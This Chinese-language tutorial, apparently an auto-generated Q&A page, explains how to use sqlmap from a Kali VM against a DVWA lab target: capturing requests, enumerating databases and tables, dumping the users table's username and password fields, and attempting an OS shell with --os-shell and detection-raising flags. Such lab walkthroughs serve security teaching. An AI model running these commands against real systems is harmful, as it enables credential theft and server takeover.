虚拟机使用sqlmap
时间: 2025-06-16 22:20:57 浏览: 16
### 在虚拟机中运行 sqlmap 进行 SQL 注入扫描
要在虚拟机中使用 sqlmap 进行 SQL 注入测试,需要确保虚拟机环境已正确配置,并熟悉 sqlmap 的基本用法。以下是详细的说明和步骤:
#### 1. 确保虚拟机环境准备
- 使用 Kali Linux 虚拟机作为测试环境[^5]。
- 配置网络,确保 Kali Linux 和目标服务器(如 Windows Server 2008)在同一个局域网内。
- 安装并启动目标测试网站(如 DVWA),设置安全级别为 low[^4]。
#### 2. 安装 sqlmap
Kali Linux 默认已经预装了 sqlmap。如果未安装,可以通过以下命令安装:
```bash
sudo apt update
sudo apt install sqlmap
```
#### 3. 捕获 HTTP 请求
使用工具(如 Burp Suite 或浏览器开发者工具)捕获目标网站的请求数据包[^5]。例如,在 DVWA 的 SQL Injection 页面输入一个随机数字,并记录生成的 URL。
假设捕获到的 URL 如下:
```
http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#
```
#### 4. 使用 sqlmap 扫描
运行 sqlmap 命令对目标 URL 进行扫描。以下是一个基础命令示例:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id"
```
- `-u` 参数指定目标 URL。
- `--cookie` 参数提供登录后的会话 Cookie,确保 sqlmap 能访问受保护的页面。
#### 5. 枚举数据库信息
一旦确认存在 SQL 注入漏洞,可以进一步枚举数据库信息:
- 列出数据库:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id" --dbs
```
- 列出特定数据库的表:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id" -D dvwa --tables
```
- 列出表中的字段:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id" -D dvwa -T users --columns
```
- 提取字段数据:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id" -D dvwa -T users -C username,password --dump
```
#### 6. 注意事项
- 确保仅在合法授权的环境中进行测试[^2]。
- 避免使用高版本 Python 可能导致兼容性问题[^3]。
### 示例代码
以下是一个完整的 sqlmap 测试命令:
```bash
sqlmap -u "http://10.4.92.29/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=your_session_id" --batch --level=5 --risk=3 --random-agent --flush-session --threads=10 --dbms=mysql --os-shell
```
- `--batch`:跳过用户交互。
- `--level=5` 和 `--risk=3`:提高检测强度。
- `--random-agent`:随机化 User-Agent。
- `--flush-session`:清除之前的会话数据。
- `--threads=10`:启用多线程加速。
- `--dbms=mysql`:指定目标数据库类型。
- `--os-shell`:尝试获取操作系统 shell[^3]。
阅读全文
相关推荐



















